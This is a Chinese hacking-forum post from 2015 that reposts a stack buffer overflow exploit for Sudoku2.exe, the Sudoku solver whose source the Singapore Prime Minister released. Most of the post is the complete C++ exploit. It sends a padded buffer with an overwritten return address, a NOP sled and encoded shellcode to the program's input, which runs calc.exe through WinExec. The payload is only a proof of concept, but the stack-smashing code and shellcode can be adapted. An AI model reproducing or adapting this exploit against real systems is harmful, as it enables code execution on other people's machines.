搜索
查看: 2132|回复: 0

新加坡总理编写的解数独程序Sudoku2.exe存在溢出漏洞

[复制链接]

1839

主题

2255

帖子

1万

积分

管理员

Rank: 9Rank: 9Rank: 9

积分
11913
发表于 2015-5-7 21:47:07 | 显示全部楼层 |阅读模式
参考这个新闻:http://www.chinabaiker.com/thread-1939-1-1.html


sudoku的源代码在google drive(需翻墙):

https://t.co/5fVUGi7EqN

然后今天就刷到老外写的缓冲溢出漏洞的exp:

  1. /* Sudoku2.exe stack overflow exploit
  2.    ==================================
  3.    The Prime Minister of Singapore recently demonstrated his programming skills
  4.    by releasing source code and a binary for a C++ application "Sudoku Solver"
  5.    written several years ago. David Litchfield discovered a stack based buffer
  6.    overflow in scanf() alongside many other researchers. Source code and a 32bit
  7.    binary have been provided for the application at the following URL:

  8.    https://t.co/5fVUGi7EqN (also on Lee Hsien Loong facebook)

  9.    This exploit uses standard stack smashing techniques to grab EIP, land in
  10.    our buffer and WinExec()'s calc.exe. For great justice & the lulz. Tested
  11.    on Win7 x64 against the Sudoku2.exe binary.

  12.    greetingz to all .sg h4x0rz! ;-)

  13.    -- prdelka
  14. */
  15. #include "stdafx.h"
  16. #include <tchar.h>
  17. #include <stdio.h>
  18. #include <stdlib.h>
  19. #include <memory.h>
  20. #include <process.h>
  21. #include <io.h>
  22. #include <windows.h>

  23. const char s[] = "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
  24.      "AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\xe8\x40\xE3\x74\x90"
  25.      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  26.      "\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90\x90"
  27.      "\xdb\xce\xd9\x74\x24\xf4\xb8\x2a\x06\xc3\xa2\x5b\x2b\xc9\xb1"
  28.       "\x31\x31\x43\x18\x03\x43\x18\x83\xc3\x2e\xe4\x36\x5e\xc6\x6a"
  29.      "\xb8\x9f\x16\x0b\x30\x7a\x27\x0b\x26\x0e\x17\xbb\x2c\x42\x9b"
  30.      "\x30\x60\x77\x28\x34\xad\x78\x99\xf3\x8b\xb7\x1a\xaf\xe8\xd6"
  31.      "\x98\xb2\x3c\x39\xa1\x7c\x31\x38\xe6\x61\xb8\x68\xbf\xee\x6f"
  32.      "\x9d\xb4\xbb\xb3\x16\x86\x2a\xb4\xcb\x5e\x4c\x95\x5d\xd5\x17"
  33.      "\x35\x5f\x3a\x2c\x7c\x47\x5f\x09\x36\xfc\xab\xe5\xc9\xd4\xe2"
  34.      "\x06\x65\x19\xcb\xf4\x77\x5d\xeb\xe6\x0d\x97\x08\x9a\x15\x6c"
  35.      "\x73\x40\x93\x77\xd3\x03\x03\x5c\xe2\xc0\xd2\x17\xe8\xad\x91"
  36.      "\x70\xec\x30\x75\x0b\x08\xb8\x78\xdc\x99\xfa\x5e\xf8\xc2\x59"
  37.      "\xfe\x59\xae\x0c\xff\xba\x11\xf0\xa5\xb1\xbf\xe5\xd7\x9b\xd5"
  38.      "\xf8\x6a\xa6\x9b\xfb\x74\xa9\x8b\x93\x45\x22\x44\xe3\x59\xe1"
  39.      "\x21\x1b\x10\xa8\x03\xb4\xfd\x38\x16\xd9\xfd\x96\x54\xe4\x7d"
  40.      "\x13\x24\x13\x9d\x56\x21\x5f\x19\x8a\x5b\xf0\xcc\xac\xc8\xf1"
  41.      "\xc4\xce\x8f\x61\x84\x3e\x2a\x02\x2f\x3f";

  42. HANDLE g_hChildStd_IN_Rd = NULL;
  43. HANDLE g_hChildStd_IN_Wr = NULL;

  44. int _tmain(int argc, _TCHAR* argv[]) {
  45.   TCHAR szCmdline[]=TEXT("Sudoku2.exe");
  46.   STARTUPINFO si;
  47.   PROCESS_INFORMATION pi;
  48.   SECURITY_ATTRIBUTES saAttr;
  49.   saAttr.nLength = sizeof(SECURITY_ATTRIBUTES);
  50.   saAttr.bInheritHandle = TRUE;
  51.   saAttr.lpSecurityDescriptor = NULL;
  52.   CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0);
  53.   SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0);
  54.   ZeroMemory( &pi, sizeof(PROCESS_INFORMATION) );
  55.   ZeroMemory( &si, sizeof(STARTUPINFO) );
  56.   si.cb = sizeof(STARTUPINFO);
  57.   si.hStdInput = g_hChildStd_IN_Rd;
  58.   si.dwFlags |= STARTF_USESTDHANDLES;
  59.   CreateProcess(NULL,szCmdline,NULL,NULL,TRUE,0,NULL,NULL,&si,&pi);
  60.   CloseHandle(pi.hProcess);
  61.   CloseHandle(pi.hThread);
  62.   DWORD dwWritten;
  63.   WriteFile(g_hChildStd_IN_Wr,s,strlen(s),&dwWritten,NULL);
  64.   CloseHandle(g_hChildStd_IN_Wr);
  65.       WaitForSingleObject( pi.hProcess, INFINITE );
  66.   return 0;
  67. }
复制代码
过段时间可能会取消签到功能了
您需要登录后才可以回帖 登录 | Join BUC

本版积分规则

Powered by Discuz!

© 2012-2015 Baiker Union of China.

快速回复 返回顶部 返回列表